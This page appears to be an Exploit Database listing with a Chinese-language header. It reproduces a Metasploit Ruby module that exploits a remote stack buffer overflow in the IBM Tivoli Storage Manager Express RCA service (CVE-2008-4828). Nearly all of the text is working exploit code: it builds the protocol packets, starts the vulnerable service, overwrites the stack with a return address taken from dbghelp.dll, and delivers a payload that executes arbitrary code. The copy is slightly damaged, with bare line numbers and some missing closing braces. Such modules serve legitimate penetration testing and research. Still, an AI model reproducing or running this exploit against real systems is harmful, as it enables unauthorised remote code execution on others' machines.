IBM Tivoli Storage Manager Express RCA Service – Remote Buffer Overflow (Metasploit)

Exploit Database
112 阅读

作者： Metasploit

日期： 2010-05-09
类别：
- remote
平台：
- windows
来源：https://www.exploit-db.com/exploits/16428/

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

125

126

127

128

129

130

131

132

133

134

135

136

137

138

139

140

141

142

143

144

145

146

147

148

149

150

151

152

153

154

155

156

157

# $Id: ibm_tsm_rca_dicugetidentify.rb 9262 2010-05-09 17:45:00Z jduck $

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# Framework web site for more information on licensing and terms of use.

# http://metasploit.com/framework/

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

Rank = GreatRanking

include Msf::Exploit::Remote::Tcp

def initialize(info = {})

super(update_info(info,

'Name' => 'IBM Tivoli Storage Manager Express RCA Service Buffer Overflow',

'Description'=> %q{

This module exploits a stack buffer overflow in the IBM Tivoli Storage Manager Express Remote

Client Agent service. By sending a "dicuGetIdentify" request packet containing a long

NodeName parameter, an attacker can execute arbitrary code.

NOTE: this exploit first connects to the CAD service to start the RCA service and obtain

the port number on which it runs. This service does not restart.

'Author' => [ 'jduck' ],

'License'=> MSF_LICENSE,

'Version'=> '$Revision: 9262 $',

'References' =>

[

[ 'CVE', '2008-4828' ],

[ 'OSVDB', '54232' ],

[ 'BID', '34803' ]

'DefaultOptions' =>

{

'EXITFUNC' => 'seh',

'Privileged' => true,

'Payload'=>

{

# wchar_t buf[1024];

'Space'=> ((1024*2)+4),

'BadChars' => '\x00',

'StackAdjustment' => -3500,

'Platform' => 'win',

'Targets'=>

[

# this target should be pretty universal..

# dbghelp.dll is shipped with TSM Express, and hasn't been kept up-to-date..

[ 'IBM Tivoli Storage Manager Express 5.3.6.2', { 'Ret' => 0x028495d3 } ], # p/p/r dbghelp.dll v6.0.17.0

'DefaultTarget'=> 0,

'DisclosureDate' => 'Nov 04 2009'))

register_options( [ Opt::RPORT(1582) ], self.class )

end

def make_tsm_packet(op,data)

pkt = ""

if op > 0xff

pkt << [0,8,0xa5,op,0xc+data.length].pack('nCCNN')

else

pkt << [data.length,op,0xa5].pack('nCC')

end

pkt << data

end

def explode_tsm_packet(buf)

return nil if buf.length < 4

len,op,magic = buf[0,4].unpack('nCC')

return nil if magic != 0xa5

if op == 0x08

return nil if buf.length < 12

op,len = buf[4,8].unpack('NN')

data = buf[12,len]

else

data = buf[4,len]

end

return op,data

end

def extract_port(buf)

op,data = explode_tsm_packet(buf)

if op != 0x10300

print_error("Invalid response verb from CAD service: 0x%x" % op)

return nil

end

if data.length < 6

print_error("Insufficient data from CAD service.")

return nil

end

port_str_len = data[4,2].unpack('n')[0]

if data.length < (24+port_str_len)

print_error("Insufficient data from CAD service.")

return nil

end

rca_port = data[24,port_str_len].unpack('n*').pack('C*').to_i

end

def exploit

print_status("Trying target %s..." % target.name)

# first get the port number

query = [1].pack('n')

query << "\x00" * 10

data = make_tsm_packet(0x10200, query)

connect

print_status("Attempting to start the RCA service via the CAD service...")

sock.put(data)

buf = sock.get_once(-1, 10)

disconnect

rca_port = extract_port(buf)

if not rca_port or rca_port == 0

print_error("The RCA agent service was not started :(")

else

print_status("RCA Agent is now running on port %u" % rca_port)

end

# trigger the vulnerability

copy_len = payload_space + 4

sploit = rand_text(33)

# start offset, length

sploit[10,4] = [0,copy_len].pack('n*')

# data to copy

buf = payload.encoded

# we need this special encoding to make it work..

buf << [target.ret].pack('V').unpack('v*').pack('n*')

# adjustment :)

sploit << buf

data = make_tsm_packet(0x10400, sploit)

connect(true, { 'RPORT' => rca_port })

print_status("Sending specially crafted dicuGetIdentifyRequest packet...")

sock.write(data)

print_status("Starting handler...")

handler

disconnect

end